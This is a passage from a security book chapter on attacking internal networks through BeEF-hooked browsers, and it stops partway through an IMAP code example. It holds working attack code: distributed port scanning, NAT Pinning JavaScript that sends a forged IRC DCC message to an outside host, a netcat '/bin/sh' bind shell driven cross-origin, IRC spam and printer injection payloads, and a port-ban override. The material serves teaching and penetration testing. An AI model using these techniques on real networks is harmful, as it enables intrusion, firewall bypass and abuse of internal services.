Port scanning from a browser isn’t always the most effective way to conduct a port scan. Browsers are limited by a number of factors, many of which have been discussed earlier. One method of optimizing port scanning is by distributing the workload.

The same technique used earlier to optimize ping sweeping with multiple workers can again be applied for distributing the load of port scanning. While distributing the load within a single browser is one way, distributing the load over multiple hooked browsers is another approach entirely. Suppose you have hooked multiple browsers within the same subnet. Using a centrally managed command and control framework, such as BeEF, distributed port scanning can be achieved. Other attacks can be done in a distributed fashion too, like exploiting SQL injection vulnerabilities as discussed in the Cross-origin Blind SQL Injection Exploitation section of Chapter 9.

Leveraging BeEF’s RESTful API17 to coordinate multiple actions, any command module can be distributed between a number of hooked browsers. In this instance, the only prerequisite is that the module takes a parameter that can be divided between multiple browsers. Javier Marcos’ “Port Scanner” module works in this way, allowing the module to be queued up in a hooked browser with only the following parameters:

· ipHost—This is the target IP address to port scan.

· ports—This is the range, or list of TCP ports, to port scan.

The dist_pscanner.rb script, available from https://browserhacker.com, provides an interactive way to conduct a distributed port scan. It asks for which browsers to distribute the scan over, the target IP address, and the TCP port range. The script then splits up the load, and queues up the commands for each of the selected browsers. Here is the command using just a single browser (inputs are highlighted):

$ ruby ./dist_pscanner.rb

[>>>] BeEF Distributed Port Scanner]

[+] Retrieved RESTful API token:

006c1aed13b124d0c1c8fb50c98fb35d04a78d5e

[+] Retrieved Hooked Browsers list. Online: 3

[+] Retrieved 185 available command modules

[+] Online Browsers:

[1] 127.0.0.1 - C28 Macintosh

[2] 192.168.1.101 - C28 Windows 7

[3] 127.0.0.1 - C28 Macintosh

[+] Provide a comma separated list of browsers to use (i.e. 1 or 1,3 or

1,2,3 etc):

1

[+] Using:

[1] 127.0.0.1 - C28 Macintosh

[+] Enter target IP to port scan:

192.168.1.254

[+] Enter target ports to scan (i.e. 1-65535 or 22-80 or 1-1024):

70-80

[+] Split will be as follows:

[1] 70-80

[+] Ready to proceed? <Enter>

[+] Starting port scan against 192.168.1.254 from 70-80 [1]

[+] Scan queued...

[1] port=Scanning: 70,71,72,73,74,75,76,77,78,79,80

[1] port=WebSocket: Port 80 is OPEN (http)

[1] Scan Finished in 43995 ms

[+] All Scans Finished!!

Time Taken: 60.248801

In this example, a single Chrome browser scanned an IP address’s ports from 70 to 80 in about 60 seconds. If the same is executed again using three hooked browsers, the response is slightly different:

$ ruby ./dist_pscanner.rb

[>>>] BeEF Distributed Port Scanner]

[+] Retrieved RESTful API token:

006c1aed13b124d0c1c8fb50c98fb35d04a78d5e

[+] Retrieved Hooked Browsers list. Online: 3

[+] Retrieved 185 available command modules

[+] Online Browsers:

[1] 127.0.0.1 - C28 Macintosh

[2] 192.168.1.101 - C28 Windows 7

[3] 127.0.0.1 - C28 Macintosh

[+] Provide a comma separated list of browsers to use (i.e. 1 or 1,3 or

1,2,3 etc):

1,2,3

[+] Using:

[1] 127.0.0.1 - C28 Macintosh

[2] 192.168.1.101 - C28 Windows 7

[3] 127.0.0.1 - C28 Macintosh

[+] Enter target IP to port scan:

192.168.1.254

[+] Enter target ports to scan (i.e. 1-65535 or 22-80 or 1-1024):

70-80

[+] Split will be as follows:

[1] 70-73

[2] 74-77

[3] 78-80

[+] Ready to proceed? <Enter>

[+] Starting port scan against 192.168.1.254 from 70-73 [1]

[+] Scan queued...

[+] Starting port scan against 192.168.1.254 from 74-77 [2]

[+] Scan queued...

[+] Starting port scan against 192.168.1.254 from 78-80 [3]

[+] Scan queued...

[1] port=Scanning: 70,71,72,73

[2] port=Scanning: 74,75,76,77

[3] port=Scanning: 78,79,80

[3] port=CORS: Port 80 is OPEN (http)

[3] port=WebSocket: Port 80 is OPEN (http)

[2] Scan Finished in 14800 ms

[3] Scan Finished in 11997 ms

[1] Scan Finished in 15998 ms

[+] All Scans Finished!!

Time Taken: 32.306009

Splitting up the same command over three browsers brings it down to around 32 seconds, as opposed to 60 seconds. This can be further optimized by reducing the polling time of the hooked browsers, and also by using the WebSocket protocol as the main communication channel between the hooked browser and BeEF.

Although this Ruby script has been constructed with this single purpose in mind, there’s nothing preventing the BeEF RESTful API from being used to distribute any other logic within a hooked browser. Another example is to speed up the process of dumping data cross-origin with SQL injection, as discussed in Chapter 9.

Fingerprinting Non-HTTP Services

Fingerprinting non-HTTP services is quite different from fingerprinting web applications. Examining web applications, as explored in Chapter 9, is relatively straightforward. The browser can request resources using standard HTTP requests, and from this information you extrapolate what the web application might be.

Unlike fingerprinting web interfaces, these same techniques cannot often be used directly against a non-HTTP service. These services do not expose known resources, such as images or pages, which you can identify and fingerprint cross-origin. Due to this limitation, fingerprinting non-HTTP services from a browser often ends with less reliable results. Luckily, you can use a few techniques to increase your knowledge of the target service.

The first technique is to simply rely on the results from the port scanning discussed at the beginning of the chapter. If TCP port 6667 appears to be up, you can assume that it’s an IRC service according to the default port number. If port TCP 5900 is up, you can assume it’s a VNC service. Of course, there could be different implementations of a service listening on the same port. You’ll want to narrow down the possibilities to increase the likelihood of choosing the appropriate exploit to launch at your target.

To help refine these assumptions, perhaps even to the point of differentiating between different VNC listening applications, you can analyze the timing of requests. This is the second method of fingerprinting non-HTTP services. Mark Lowe initially used the FTP scheme to demonstrate the effectiveness of this method.18 In this instance, you will use HTTP instead.

You start with analyzing the amount of time a service requires to close a TCP connection—monitoring when the status of the XMLHttpRequest object you use is equal to 4 (done).19 Detecting version differences, say between UltraVNC 1.0.9 and 1.1.9, is unrealistic because the timing difference (if any) will be too minimal. However, detecting different implementations, like identifying UltraVNC or TightVNC, is a plausible option. You can use the following code as a starting point:

var target = "172.16.37.151";

var port = 5900;

var count = 1;

var time = 0;

function doRequest(){

if(count <= 3){

var xhr = new XMLHttpRequest();

var port = 5900;

xhr.open("POST", "http://" + target + ":" +

port + "/" + Math.random());

var start = new Date().getTime();

xhr.send("foo");

xhr.onreadystatechange = function () {

if (xhr.readyState == 4) {

var end = new Date().getTime();

console.log("DONE in " + (end-start) + " ms");

count++; time += end-start;

doRequest();

}

}

}else{

console.log("COMPLETED. Average: " + time/3);

}

}

doRequest();

This code is simply sending three XHRs to the same target port, in this case 5900. It then monitors how long it takes for the service to close the connection. Finally, the average timing for the service to close the connection is calculated. Figure 10-10 shows the code targeting TightVNC 2.7.1, andFigure 10-11 shows the same test on UltraVNC 1.1.9.

Figure 10-10: Fingerprinting TightVNC

image

Figure 10-11: Fingerprinting UltraVNC

image

As you can see from these two screenshots in Figure 10-10 and Figure 10-11, the average close timing for TightVNC is 15 milliseconds, whereas for UltraVNC it is 20. This is a very simple example, but many services out there have a much bigger timing difference.

The third fingerprinting method is by implementing Inter-protocol Communication (IPC) requests. For instance, if the browser is able to establish a bidirectional channel to a listening Telnet service it will be able to see the Telnet service’s header. These methods are discussed in more detail in the upcoming sections. In the presence of IPC-capable services, particularly those that can be communicated with in a bidirectional manner, fingerprinting can be very effective.

Attacking Non-HTTP Services

It’s no surprise that web browsers are great at communicating over standard web protocols, but what about other protocols? Networking is much more than just HTTP and HTTPS. Virtually every time a piece of software communicates over a network, it is using one protocol or another.

Browsers are so versatile that, in some situations, they can even communicate with services that they were never designed to communicate with. As you have probably guessed, you can exploit this versatility too. So let’s jump straight in and explore attacking this protocol flexibility.

NAT Pinning

In 2010, Sami Kamkar released details about an attack that he dubbed “NAT Pinning”.20 This technique consists of forcing the network gateway, for example a SOHO router, to dynamically open a port for inbound connections that would point to a system sitting in the internal network.

Imagine that after using the reconnaissance techniques discussed in the previous sections, you identify the following:

· The network gateway is at 192.168.0.1

· The hooked browser’s internal IP is 192.168.0.2

· There is a system publishing HTTP over port 80 from the IP 192.168.0.4

· There’s another system publishing SSH on port 22 from the IP 192.168.0.70

As you know, port banning prevents direct connectivity to port 22. That is, you can’t connect to it with the http scheme and even if you could, you can’t read the responses cross-origin. With NAT Pinning, you fundamentally achieve NAT traversal, telling the router that you want192.168.0.70:22 to be reachable from the outside (from the Internet). If you are able to achieve that, you can easily connect to the target system in the internal network on port 22 from the outside. Once you can access the server directly via SSH, you can start a dictionary or brute force attack against it with tools such as THC Hydra.21

A prerequisite for the attack is that the router must support connection tracking to achieve NAT traversal, and the router should allow outbound traffic. Fortunately for you, many SOHO routers are configured in this way.

IRC NAT Pinning

Kamkar’s demonstration of the NAT Pinning technique at DEF CON 18 used a Belkin N1 Vision Wireless router. He used the IRC protocol to traverse the router’s NAT. Additional research from the German FDS Team stated that, as of January 2013, every router based on OpenWRT is vulnerable in its default configuration.22

Say the router you want to target has the following firewall configuration based on iptables:

# DEFs

OUTIF=eth0

LANIF=eth1

LAN=192.168.0.0/24

# MODULES

modprobe ip_conntrack

modprobe ip_conntrack_ftp

modprobe iptable_nat

# Cleaning

iptables --flush

iptables --table nat --flush

iptables --delete-chain

iptables --table nat --delete-chain

# Kernel vars

echo 1 > /proc/sys/net/ipv4/ip_forward

# Allow unlimited traffic on the loopback interface

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

# Set default policies

iptables --policy INPUT DROP

iptables --policy OUTPUT DROP

iptables --policy FORWARD DROP

# Previously initiated and accepted exchanges

# bypass rule checking

# Allow unlimited outbound traffic

iptables -A OUTPUT -m state --state

NEW,ESTABLISHED,RELATED -j ACCEPT

iptables -A INPUT -m state --state

ESTABLISHED,RELATED -j ACCEPT

# Allow inbound traffic on LAN

iptables -A INPUT -i $LANIF -j ACCEPT

# NAT

##########

iptables -t nat -A POSTROUTING -o $OUTIF -j MASQUERADE

# initiated and accepted exchanges from WAN to LAN

iptables --append FORWARD -m state --state

ESTABLISHED,RELATED -i $OUTIF -o $LANIF -j ACCEPT

# Allow unlimited outbound traffic from LAN to WAN

iptables --append FORWARD -m state --state

NEW,ESTABLISHED,RELATED -o $OUTIF -i $LANIF -j ACCEPT

iptables -A INPUT -j LOG --log-level debug

iptables -A INPUT -j DROP

iptables -A FORWARD -j LOG --log-level debug

iptables -A FORWARD -j DROP

The firewall and NAT configuration meet the requirements to achieve NAT Pinning. This is because the module responsible for connection tracking is enabled and outbound traffic from the LAN to WAN interfaces is allowed. Using the example discussed in the previous section, the intent of the attack is to allow inbound connection from the WAN interface to 192.168.0.70 on the internal network. The following JavaScript code demonstrates how to launch this attack:

var privateip = '192.168.0.70';

var privateport = '22';

var connectto = 'browserhacker.com';

function dot2dec(dot){

var d = dot.split('.');

return (((+d[0])*256+(+d[1]))*256+(+d[2]))*256+(+d[3]);

}

var myIframe = beef.dom.createInvisibleIframe();

var myForm = document.createElement("form");

var action = "http://" + connectto + ":6667/"

myForm.setAttribute("name", "data");

myForm.setAttribute("method", "post");

myForm.setAttribute("enctype", "multipart/form-data");

myForm.setAttribute("action", action);

//create DCC message

x = String.fromCharCode(1);

var message = 'PRIVMSG beef :'+x+'DCC CHAT beef '+

dot2dec(privateip)+' '+privateport+x+"\n";

//create message textarea

var myExt = document.createElement("textarea");

myExt.setAttribute("id","msg_1");

myExt.setAttribute("name","msg_1");

myForm.appendChild(myExt);

myIframe.contentWindow.document.body.appendChild(myForm);

//send message

myIframe.contentWindow.document.getElementById(

"msg_1").value = message;

myForm.submit();

This JavaScript connects to http://browserhacker.com:6667/, the default IRC port that is not banned in either Firefox or IE. The browserhacker.com server is listening on TCP port 6667 with either a Ruby TCPServer socket service, or even simply just Netcat. In either case, the listening service doesn’t have to be a real IRC implementation; all it has to do is receive data.

The data sent to that port is PRIVMSG beef :\1DCC CHAT beef 3232235590 22\1\n. Direct Client-to-Client, or DCC, is an IRC method to initiate a direct connection between two users for transferring files or initiating a private chat.233232235590 is the IP 192.168.0.70 in its decimal format, obtained with the dot2dec() function. You might wonder how it’s possible to send IRC commands when the browser will obviously submit the request as an HTTP POST request. This is covered thoroughly in the Achieving Inter-protocol Communication section of this chapter, so for now, just assume you can send HTTP requests to non-HTTP services, and have their bodies parsed correctly.

The trick here is that when the router’s firewall inspects the outgoing traffic and reads the IRC data, it will believe that the user is requesting a DCC connection. If this were a legitimate DCC request, this would then require a direct connection between browserhacker.com and 192.168.0.70. Because the router’s firewall is blocking all incoming connections, it needs to forward traffic coming from browserhacker.com directed to port 22 to 192.168.0.70:22.

Moreover, examining the source code of netfilter’s nf_conntrack_irc.c24 from the Linux codebase uncovers why this is possible. The relevant code snippet is shown here:

/* dcc_ip can be the internal OR external (NAT'ed) IP */

tuple = &ct->tuplehash[dir].tuple;

if (tuple->src.u3.ip != dcc_ip &&

tuple->dst.u3.ip != dcc_ip) {

net_warn_ratelimited(

"Forged DCC command from %pI4: %pI4:%u\n",

&tuple->src.u3.ip, &dcc_ip, dcc_port);

continue;

}

The code is not actually doing what is mentioned in the comment, which states that the DCC IP can be an internal or external NAT’ed IP. The external NAT’ed IP is not actually verified. Only the destination IP is verified, which in this case is browserhacker.com. Such a bug comes in handy if you are dealing with multiple NATs behind each other. Because all of them recognize the same destination IP, this enables you to trigger NAT Pinning in all of them with a single request.

After the submission of the forged DCC request, the router then permits inbound traffic coming from browserhacker.com on port 22. This traffic is redirected to the internal server. The end result is the perimeter controls being modified to allow external traffic to access previously protected internal systems, rendering the IP access control list ineffective.

Check out the video demonstration of NAT Pinning created by Bart Leppens at https://browserhacker.com. Leppens also contributed a BeEF module that exploits NAT Pinning.

Eric Leblond extended these attacks for pinning other protocols, not just IRC. He released a tool called opensvp25 to perform these attacks. Other than using the classic IRC DCC approach, the tool can use FTP to open firewall ports dynamically. Remember port 21 is banned, so you won’t be able to conduct FTP NAT Pinning from the browser.

NAT Pinning attacks are a good example of the creative ways in which requests initiated from a browser within a network can impact a wider environment. By forging a request, and tricking a gateway control, you’re able to then directly access new targets and expand your access for further attacks.

Achieving Inter-protocol Communication

In 2006, Wade Alcorn published26 research about Inter-protocol Communication (IPC). The concept of IPC is that two different protocols, despite having different grammars, can still communicate meaningful information between each other.

In most cases, successful IPC conditions relate more to the developer’s implementation decisions than the protocol specifications themselves. These conditions are actually quite simple. For communication between two different protocols to be achieved, the following prerequisites must be met:

· Error tolerance in the target protocol implementation

· The ability to encapsulate target protocol data into HTTP requests

In the context of browsers, this often involves the submission of an HTTP request to a listening service that is not speaking HTTP. Following this, the request — or part of it — is correctly parsed.

Let’s explore an example. A fictitious protocol with a very simple grammar understands two commands that don’t require authentication. These commands are:

READ <file_path>

WRITE <content> <file_path>

To determine if the protocol implementation is a good candidate for IPC, you want to understand the conditions that make it drop the TCP connection. If the following (non-protocol) data is sent and the connection remains active, you have a potential protocol implementation that is worth exploring further:

ADD foobar

Because the connection with the client is not being reset, the client can continue sending data using the same TCP connection. Therefore, if the client sends the following data, the first two erroneous lines will be discarded, but the third will potentially be parsed and executed successfully:

ADD foo

ADD bar

WRITE browserhacker.com /opt/protocol/browserhacker

Browser IPC would then expand on this, wrapping the entire message into an HTTP POST request. The following example shows a request that would likely execute a command on the target service:

POST / HTTP/1.1

Host: 192.168.1.130:4444

User-Agent: Mozilla/5.0

Content-type: text/plain

Content-Length: 51

WRITE browserhacker.com /opt/protocol/browserhacker

The HTTP request headers will be discarded, together with the CRLF, whereas the last line of the request will be correctly processed by the protocol. As you can see, POST requests enable you to add any data you like in the body of the request, free from prepending the strings with standard HTTP headers. It is in the body of the request where you take control of the communication with the target protocol. This is the core concept of how IPC (involving browsers) works.

Your POST request must set the Content-Type to use either text/plain or multipart/form-data. This is to ensure that the request can be sent cross-origin using an XMLHttpRequest (or alternatively, an HTML form) as discussed in the Sending Cross-origin Requests section of Chapter 9. Additionally, these two Content-Types don’t restrict the data formats you can use, whereas application/x-www-form-urlencoded does. If you use application/x-www-form-urlencoded, you must send requests with a body that follows the parameter=value structure, using & to concatenate additional parameters. Encoding certain characters, such as the space character, might also become problematic. Using text/plain or multipart/form-data instead, you have complete freedom over the content in the body, for example if you need to add CR/LF lines and spaces.

You have two ways to send cross-origin text/plain or multipart/form-dataPOST requests. The first way is by dynamically creating an HTML form, and then submitting it with JavaScript. BeEF’s JavaScript API provides a method to do that in the createIframeIpecForm() function:

createIframeIpecForm: function(rhost, rport, path, commands){

// creates an invisible IFrame element,

// the HTML form will be placed here

var iframeIpec = beef.dom.createInvisibleIframe();

// creates the HTML form. Note the enctype attribute.

var formIpec = document.createElement('form');

formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);

formIpec.setAttribute('method', 'POST');

formIpec.setAttribute('enctype', 'multipart/form-data');

// creates the textarea element

// where the POST body will be added

input = document.createElement('textarea');

input.setAttribute('name', Math.random().toString(36).substring(5));

input.value = commands;

formIpec.appendChild(input);

iframeIpec.contentWindow.document.body.appendChild(formIpec);

formIpec.submit();

return iframeIpec;

}

This method is called in the following way:

beef.dom.createIframeIpecForm(host, port, path, commands);

Note that most of the time the path parameter is not needed. The commands parameter holds the data you want to send in the body of the POST request.

The second way to initiate IPC from the browser is by using the XMLHttpRequest object. The following code shows an example:

var xhr = new XMLHttpRequest();

var uri = "http://" + host + ":" + port + "/";

xhr.open("POST", uri, true);

xhr.setRequestHeader("Content-Type", "text/plain");

xhr.setRequestHeader('Accept','*/*');

xhr.setRequestHeader("Accept-Language", "en");

xhr.send(command + "\r\n");

The command variable contains the data you want to send to the protocol, followed by a carriage-return and new-line character, \r\n. Many protocols accept these characters to delimit the end of the current command.

This was an example of a browser communicating with a fictitious protocol using IPC. The protocol implementation supported a couple of attributes that allowed for this class of attack. The following sections explore these prerequisites in more detail.

Error Tolerance of the Protocol

The first challenge of IPC is ensuring that the protocol implementation is forgiving of errors. This will often differentiate protocols that can be communicated with from the browser via IPC.

As discussed in the previous example, most of the HTTP request content, such as headers, should be discarded by the target protocol. SMTP is a good example for educational purposes. However, it will be of limited use during a penetration assessment because it runs on a banned port.

On UNIX you have at least four different SMTP implementations, including Postfix, Sendmail, Qmail, and Exim. In its default configuration, Exim version 4.50 allows only four errors before disconnecting the client. Such a strict requirement prevents you from targeting Exim versions greater than 4.50 with IPC, because every HTTP request from a hooked browser will have more than four headers.

Postfix version 2.7.0 is even less tolerant to errors than Exim. As soon as it detects a non-SMTP command, it drops the connection with the client immediately:

Aug 10 06:38:17 bt postfix/smtpd[3179]:

connect from browservictim.com[172.16.37.1]

Aug 10 06:38:17 bt postfix/smtpd[3179]:

warning: non-SMTP command from browservictim.com

[172.16.37.1]: POST / HTTP/1.1

Aug 10 06:38:17 bt postfix/smtpd[3179]:

disconnect from browservictim.com[172.16.37.1]

While these SMTP services aren’t error tolerant, a number of IMAP services have been known to meet this requirement. The Eudora IMAP implementation will be discussed in the following sections, and highlights an example of an error tolerant protocol.

After you have verified whether the protocol implementation handles extraneous data gracefully, you need to test the second mandatory requirement. This is the protocol’s capability to encapsulate data, and you will explore this concept in the next section.

Dealing with Data Encapsulation

The second requirement you need to perform IPC is that the target protocol can be encapsulated in the HTTP protocol. Although you won’t be able to remove the standard HTTP headers, you can control some of the request content. Using this control, you can create data that will be interpreted by the receiving service as valid protocol content.

The simpler IPC protocols are ASCII-based protocols like IRC and LPD. Other protocols, such as RDP, use binary instead of ASCII, and generally close the connection with the client as soon as they receive data they don’t understand. In these circumstances, it’s often not worth testing data encapsulation, because the first IPC requirement (error tolerance) will typically fail.

Unfortunately, you can’t explicitly open a raw TCP socket with JavaScript, so you’re forced to find a workaround. This workaround consists of using IPC to achieve communication with the target protocol. Moreover, when you deal with Inter-protocol Exploitation you are often handling Shellcode, which in turn is usually binary data. Unfortunately, binary data isn’t the easiest thing to handle with JavaScript.

The Future of Raw TCP Sockets from the Browser

Currently there’s no method in which to send raw TCP data from the browser. But, that isn’t to say that browser developers aren’t investigating this capability. The Mozilla WebAPI team is currently looking at a number of new technologies, including the TCP Socket API. You can read more about the TCP Socket API and other new features from https://wiki.mozilla.org/WebAPI.

Firefox added support to send binary data using XMLHttpRequest objects with the new sendAsBinary() method. This was also examined in Chapter 9 as part of the Cross-origin GlassFish Remote Command Execution section.

if (!XMLHttpRequest.prototype.sendAsBinary) {

XMLHttpRequest.prototype.sendAsBinary = function (sData) {

var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);

for (var nIdx = 0; nIdx < nBytes; nIdx++) {

ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;

}

/* send as ArrayBufferView...: */

this.send(ui8Data);

};

}

At the time of writing, other browsers did not expose the same functionality. However, if typed array27 support is available, you can override the prototype of the sendAsBinary() object to implement the functionality in other browsers like WebKit-based Chrome and Safari.28 This is shown in the previous code.

Inter-protocol Communication Examples

The following sections examine various protocols that can be abused through IPC, and potentially even lead to IPE. You explore IPE later in this chapter, but first let’s delve into the IPC examples.

Bind Shell Inter-protocol Communication Example

A good way to explore IPC concepts is by setting up a simple listening service bound to a shell, also known as a bind shell. If you have a bind shell listening on a port not restricted by port banning, like 7777, you can communicate with it cross-origin from the browser. This means you can perform IPC in a bidirectional way, which means sending commands and also reading the responses. To set up a Netcat bind shell on a POSIX system, you can execute the following:

nc -lvp 7777 -e /bin/sh

This command sets up a listening service on port 7777 that sends received data to the /bin/sh command. From here, you can send an HTTP POST request to the port and, if the request body contains shell commands, they are executed. In instances of unknown commands, the sh process simply responds with command not found:

#foobar

foobar: command not found

#

This behavior is perfect for IPC because HTTP headers are discarded, but any other valid sh commands are executed. Figure 10-12 shows the output of the Netcat bind shell when receiving a cross-origin POST request, which is a mix of command not found and syntax errors. In this instance, the communications are just one-way, or unidirectional.

Figure 10-12: Unidirectional communication with a bind shell

image

The next step is to find a way to retrieve the command output, in order to have a full bidirectional communication between the browser and the bind shell. With a degree of creativity you can construct the HTTP response through what is being input into the shell by using the echo command. For example, to construct the first response header, you issue:

echo -e HTTP/1.1 200 OK\\\\r;

You then proceed with adding the other headers you need, such as Content-Type, Content-Length, and the command results. The full code to interact bi-directionally from a Firefox browser to the bind shell from earlier can be found at browserhacker.com. Only some snippets have been included here for brevity:

[...]

// create ipc_posix_window IFrame

var ipc_posix_window = document.createElement("iframe");

[...]

// communicate through the Hash tag to the parent IFrame

// the results of the command execution

body2 = "__END_OF_POSIX_IPC__</div><s"+"cript>window.location='" +

parent + "#ipc_result='+encodeURI(" +

"document.getElementById(\\\"ipc_content\\\").innerHTML);</"

+"script></body></html>";

[...]

// returns the ipc_content div, executes the command,

// and returns the command results up to head -c SIZE

"echo \"" + body1 + "\";(" + cmd + ")|head -c "+size+" ; ");

poster.appendChild(response);

[...]

// wait <timeout> seconds for the IFrame url fragment

// to match #ipc_result=

function wait() {

try {

if (/#ipc_result=/.test(document.getElementById("ipc_posix_window").\

contentWindow.location)) {

var ipc_result = document.getElementById("ipc_posix_window").\

contentWindow.location.href;

output = ipc_result.substring(ipc_result.indexOf('#ipc_result=')+

12,ipc_result.lastIndexOf('__END_OF_POSIX_IPC__'));

[...]

This code creates the hidden IFrame ipc_posix_window that appends an HTML form used to send the POST request. The IFrame is also used to read the encoded command results. These will be appended to ipc_result in the URL fragment identifier (#), in a similar way as the following:

http://browserhacker.com/#ipc_result=%0Atcp%20%20%20%20

%20%20%20%200%20%20%20%20%20%200%20127.0.0.1:7337%20%20

%20%20%20%20%20%20%20%200.0.0.0:*%20%20%20%20%20%20%20

%20%20%20%20%20%20%20%20LISTEN%20%20%20%20%20%201545

[...snip...]

__END_OF_POSIX_IPC__

The HTML form is appended to the IFrame, containing two input fields: response and endTalkBack. The form action attribute points to the target http://172.16.37.153:7777/index.html?&/bin/sh;. Like the previous examples, the multipart/form-data Content-Type is being employed (text/plain could have been used as well).

The first response input field of the form element contains multiple echo commands that are used to construct the HTTP response, together with the final command to be executed. In this example, the first 4096 bytes of the command results are returned. You can change the result_size variable in the previous code to accommodate for more space if needed.

The second endTalkBack input field contains the __END_OF_POSIX_IPC__ delimiter, the ipc_contentdiv that holds the command results, and a small script that changes the location of the IFrame to the parent one. The parent location is the current location of the page where the JavaScript code is executing:

body2 = "__END_OF_POSIX_IPC__</div><s"+"cript>window.location='" +

parent + "#ipc_result='+encodeURI(" +

"document.getElementById(\\\"ipc_content\\\").innerHTML);</"

+"script></body></html>";

Figure 10-13 shows the raw body of the POST request, where you can see both input fields and their values.

Figure 10-13: Sending the netstat command to the POSIX bind shell

image

When the HTTP response comes back, it contains the command results and the small piece of JavaScript code that changes the location. After the command executes, you can check if the location of the IFrame contains #ipc_result in the URL. This is performed with the wait() function that continues to check the IFrame for a valid response. A typical HTTP response looks like a classic HTML page, as shown in Figure 10-14. Note that the command results are inside the ipc_content div, up to the __END_OF_POSIX_IPC__, and the JavaScript code that changes the IFrame location tobrowserhacker.com is immediately after that.

Figure 10-14: Command results coming back into the ipc_content div

image

The results of running this JavaScript are shown in Figure 10-15, where you can clearly recognize the output of the netstat command.

Figure 10-15: Bidirectional communication with a bind shell

image

This will work in current versions of Firefox without errors in the JavaScript console. Unfortunately, this technique will not work with WebKit browsers like Chrome or Safari. Instead, you will get SOP violation errors because you can’t communicate between frames with different origins. This is yet another example of how the SOP is inconsistent across browsers.

For browsers other than Firefox, you can employ a modified approach using one of the following two options:

· Issue the cross-origin POST request with XHR, inserting additional headers with the echo command including the Access-Control-Allow-Origin: * headers. The response could then be read directly via an XHR request. The BeEF Bind, which is covered later in this chapter, uses this exact approach.

· Engage the same approach used by XssRays as covered in Chapter 9.

This whole section has been based on the example of a simple Netcat listener bound to the /bin/sh command. It’s not often that you will come across situations like this though. Now that you have an understanding of IPC in a theoretical context, let’s explore some more practical applications.

Internet Relay Chat Inter-protocol Communication Example

IRC is an error-tolerant protocol that doesn’t reset the connection if you send data that doesn’t comply with the protocol grammar. This is perfect for you, because the HTTP headers are not going to conform to the protocol specifications. They will simply produce errors and allow you to send your commands from a known state.

Reusing the createIframeIpecForm from BeEF’s JavaScript API, you can join channels and post messages to an IRC server with the following code snippet:

var rhost = 'irc_server';

var rport = '6667';

var nick = 'user1234';

var channel = '#channel_1';

var message = 'BeEFed';

var irc_commands = "NICK " + nick + "\n";

irc_commands += "USER " + nick + " 8 * : " + nick + " user\n";

irc_commands += "JOIN " + channel + "\n";

irc_commands += "PRIVMSG " + channel + " :" + message + "\nQUIT\n";

// send commands

var irc_iframe =

beef.dom.createIframeIpecForm(rhost, rport,

"/index.html", irc_commands);

// clean up

cleanup = function() {

document.body.removeChild(irc_iframe);

}

setTimeout("cleanup()", 15000);

In 2010, multiple IRC server providers such as EFnet, OFTC, and FreeNode were under a sustained attack.29 Attackers were embedding JavaScript code (similar to the previous code snippet) and many users inadvertently triggered the code while browsing to those pages. This resulted in the spamming of multiple IRC channels.30

Printer Service Inter-protocol Communication Example

Most multifunction network printers, such as HP and Canon devices, run multiple services. This often includes the implementation of a full TCP/IP stack. These devices are likely to be found in the internal network, and can be fingerprinted easily using the techniques previously described.

Deral Heiland presented research at DEFCON 1931 that focused on attacking network printers. Using the hooked browser as a beachhead proved to be an effective way to send print jobs to internal printers.

Aaron Weaver released a paper called “Cross-site Printing” in 2007 that demonstrated how to send print jobs to network printers from the browser.32 In Weaver’s research, most of the network printers examined exposed the Virata-EmWeb service on TCP port 9100 to listen for raw printing jobs for processing.33 Figure 10-16 shows the output from an nmap scan against a vulnerable HP printer.

Figure 10-16: Nmap printer scan

image

This interface was very basic, and only required you to open a TCP connection to the printer’s port and write some text. Performing this with Netcat is as simple as:

$ nc 10.90.1.131 9100

Hi from BeEF!

^C

This protocol also turned out to be a perfect candidate for IPC, because nothing prevents you from using an HTTP POST request to send similar data to that port. In addition, every browser allows connections to port 9100, which is not banned. The following code can be used to send “Hi from BeEF!” to the printer:

var body = "Hi from BeEF!\n";

var ip = "10.90.1.131";

var port = 9100;

var xhr = new XMLHttpRequest();

xhr.open("POST", "http://" + ip + ":" + port + "/",false);

xhr.setRequestHeader("Content-Type", "text/plain");

xhr.setRequestHeader('Accept','*/*');

xhr.setRequestHeader("Accept-Language", "en");

xhr.send(body);

No authentication is required, and IPC can be used. Note that in this case the whole HTTP request is printed, as shown in Figure 10-17.

Figure 10-17: Using IPEC with HP printers

image

Enhancing this attack, you can also send PostScript commands to the printer34 that will be interpreted by the PostScript processor. The advantage of using PostScript enables you to format the page properly, perhaps enabling you to create a more legitimate looking printout. The following code demonstrates using PostScript, and can be used with the previous JavaScript code by changing the body variable:

var body = String.fromCharCode(27) +

"%-12345X@PJL ENTER LANGUAGE = POSTSCRIPT\r\n"

+ "%!PS\r\n"

+ "/Courier findfont\r\n"

+ "20 scalefont\r\n"

+ "setfont\r\n"

+ "72 500 moveto\r\n"

+ "(Demonstrating IPC) show\r\n"

+ "showpage\r\n"

+ String.fromCharCode(27) + "%-12345X";

The result, as you can see in Figure 10-18, is a printed page with the content “Demonstrating IPEC” in Courier font, positioned at the coordinates 72 and 500 from the lower-left corner. Bear in mind the default coordinates for PostScript files are expressed in units of 1/72 of an inch.

Figure 10-18: The results of IPEC printing a PostScript formatted page

image

IMAP Inter-protocol Communication Example

The IMAP protocol, particularly versions 3 and 4, are good examples of a protocol that allows IPC. Though the protocol itself is a good candidate, its real-world applicability is limited by the fact that modern browsers restrict direct access to TCP port 143 as part of the port banning implementation.

This may not be the case in some situations, such as IMAP version 3 running on TCP port 220. Additionally, some network administrators move services to non-standard ports in an effort to obscure their purpose. This may provide access via a non-banned port.

In either case, IMAP makes for an excellent example to illustrate attacks from the browser. Because of its high educational value, you’ll see it being used in various instances in this chapter.

For the purpose of demonstration the easiest way to override port banning in Firefox is to add the following line to the pref.js extension file:

pref("network.security.ports.banned.override", "143");

Don’t forget to remove it when you are done. As you will soon learn, there is good reason this port is banned.

IMAP implementations allow for IPC from the browser because these services usually satisfy both the IPC conditions. The following example code attempts to authenticate to the IMAP server and then log out:

var server = '172.16.37.151';

var port = '143';

var commands = 'a01 login root password\na002 logout';

var target = "http://" + server + ":" + port + "/abc.html";

var iframe = beef.dom.createInvisibleIframe();

var form = document.createElement('form');

form.setAttribute('name', 'data');

form.setAttribute('action', target);

form.setAttribute('method', 'post');

form.setAttribute('enctype', 'text/plain');

var input = document.createElement('input');

